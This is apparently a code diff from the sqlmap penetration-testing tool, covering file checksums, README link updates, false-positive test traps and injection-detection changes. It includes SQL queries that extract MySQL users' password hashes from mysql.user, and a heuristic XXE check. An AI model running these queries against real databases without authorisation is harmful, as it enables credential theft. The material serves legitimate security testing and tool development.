737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
|
||||
99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940 thirdparty/chardet/__init__.py
|
||||
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
|
||||
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
|
||||
c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py
|
||||
0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py
|
||||
02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py
|
||||
2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py
|
||||
b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py
|
||||
6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py
|
||||
8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py
|
||||
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
|
||||
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
|
||||
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
|
||||
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
|
||||
9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py
|
||||
86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py
|
||||
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
|
||||
0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py
|
||||
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
|
||||
0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py
|
||||
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
|
||||
4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py
|
||||
d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py
|
||||
fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py
|
||||
c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py
|
||||
61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py
|
||||
5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py
|
||||
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
|
||||
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
|
||||
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
|
||||
e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py
|
||||
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
|
||||
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
|
||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
|
||||
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
|
||||
c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
|
||||
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
|
||||
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
|
||||
ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py
|
||||
|
|
@ -35,8 +35,8 @@
|
|||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||
<!-- https://stackoverflow.com/a/31122246 -->
|
||||
<passwords>
|
||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||
|
|
|
|||
|
|
@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|||
|
||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||
Copyright (C) 2008, Mark Pilgrim.
|
||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||
Copyright (C) 2006, Will Holcomb.
|
||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||
|
||||
|
|
@ -270,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
|
|||
Copyright (C) 2024, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||
|
|
|
|||
|
|
@ -65,4 +65,5 @@
|
|||
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
|||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
|
|||
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
|
|
|
|||
|
|
@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
|||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||
|
||||
وەرگێڕانەکان
|
||||
|
|
|
|||
|
|
@ -46,4 +46,5 @@ Links
|
|||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Spielwiese: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -46,4 +46,5 @@ Enlaces
|
|||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -81,4 +81,5 @@
|
|||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -46,4 +46,5 @@ Liens
|
|||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@
|
|||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Poveznice
|
|||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Vježbalište: https://sekumart.sekuripy.hr
|
||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -50,4 +50,5 @@ Tautan
|
|||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Arena latihan: https://sekumart.sekuripy.hr
|
||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
|
|||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
*
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Link
|
|||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo di prova: https://sekumart.sekuripy.hr
|
||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
|||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
|||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
|||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Links
|
|||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Speeltuin: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Odnośniki
|
|||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Piaskownica: https://sekumart.sekuripy.hr
|
||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Links
|
|||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Linkovi
|
|||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Poligon: https://sekumart.sekuripy.hr
|
||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
|||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Песочница: https://sekumart.sekuripy.hr
|
||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ Linky
|
|||
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Cvičisko: https://sekumart.sekuripy.hr
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
@ -50,4 +50,5 @@ Bağlantılar
|
|||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Deneme alanı: https://sekumart.sekuripy.hr
|
||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
|
|||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Пісочниця: https://sekumart.sekuripy.hr
|
||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -49,4 +49,5 @@ Liên kết
|
|||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Sân tập: https://sekumart.sekuripy.hr
|
||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
|
|||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 靶场: https://sekumart.sekuripy.hr
|
||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
|
|
|||
|
|
@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
|
|||
|
||||
PROJECT="../../"
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
DIGEST="../../data/txt/sha256sums.txt"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
|
|
@ -37,6 +35,3 @@ then
|
|||
fi
|
||||
git add "$SETTINGS_FULLPATH"
|
||||
fi
|
||||
|
||||
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
|
||||
git add "$DIGEST_FULLPATH"
|
||||
|
|
|
|||
|
|
@ -17,6 +17,7 @@ import sqlite3
|
|||
import string
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
|
|
@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/fp":
|
||||
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
|
||||
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
|
||||
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
|
||||
trap = self.params.get("trap", "reflect")
|
||||
idv = self.params.get("id", "1")
|
||||
|
||||
def _rnd(n=8):
|
||||
return "".join(random.choice("0123456789abcdef") for _ in range(n))
|
||||
|
||||
if trap == "intcast":
|
||||
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
|
||||
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
|
||||
try:
|
||||
hit = int(idv) in (1, 2, 3)
|
||||
except ValueError:
|
||||
hit = False
|
||||
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
|
||||
elif trap == "structrand":
|
||||
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
|
||||
# reflected into the structure -> stresses the structure-aware comparison oracle.
|
||||
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
|
||||
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
|
||||
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
|
||||
"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
|
||||
elif trap == "acceptall":
|
||||
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
|
||||
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
|
||||
elif trap == "reflect":
|
||||
# echoes the parameter verbatim (reflection) with no SQL sink.
|
||||
output = "<html><body>you searched for: %s</body></html>" % idv
|
||||
elif trap == "errors":
|
||||
# DB-error-looking text for any non-baseline input -> baits error-based detection.
|
||||
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
|
||||
elif trap == "lengthrand":
|
||||
# response length varies at random (not with the payload) -> baits length-based heuristics.
|
||||
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
|
||||
elif trap == "slowrand":
|
||||
# random latency, uncorrelated with the payload -> baits time-based detection.
|
||||
time.sleep(random.choice([0, 0, 0, 1]))
|
||||
output = "<html><body>ok %s</body></html>" % _rnd()
|
||||
else:
|
||||
output = "<html><body>?</body></html>"
|
||||
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == '/':
|
||||
if not any(_ in self.params for _ in ("id", "query")):
|
||||
self.send_response(OK)
|
||||
|
|
|
|||
|
|
@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
|
|||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NOTE
|
||||
|
|
@ -86,6 +87,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
|
|||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XXE_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
|
||||
|
|
@ -1214,6 +1216,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
|
|
@ -1274,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
|
|||
seqMatcher.set_seq1(firstPage)
|
||||
seqMatcher.set_seq2(secondPage)
|
||||
ratio = seqMatcher.quick_ratio()
|
||||
except MemoryError:
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input or, rarely, with interpreter-level
|
||||
# errors under heavy threading; degrade to "undetermined" instead of crashing
|
||||
ratio = None
|
||||
|
||||
if ratio is None:
|
||||
|
|
@ -1289,6 +1300,27 @@ def checkDynamicContent(firstPage, secondPage):
|
|||
count += 1
|
||||
|
||||
if count > conf.retries:
|
||||
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
|
||||
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
|
||||
# requests - base the comparison on that value-free structure instead. Dynamic text
|
||||
# (e.g. per-render result rows) then no longer masks an injection whose signal is
|
||||
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
|
||||
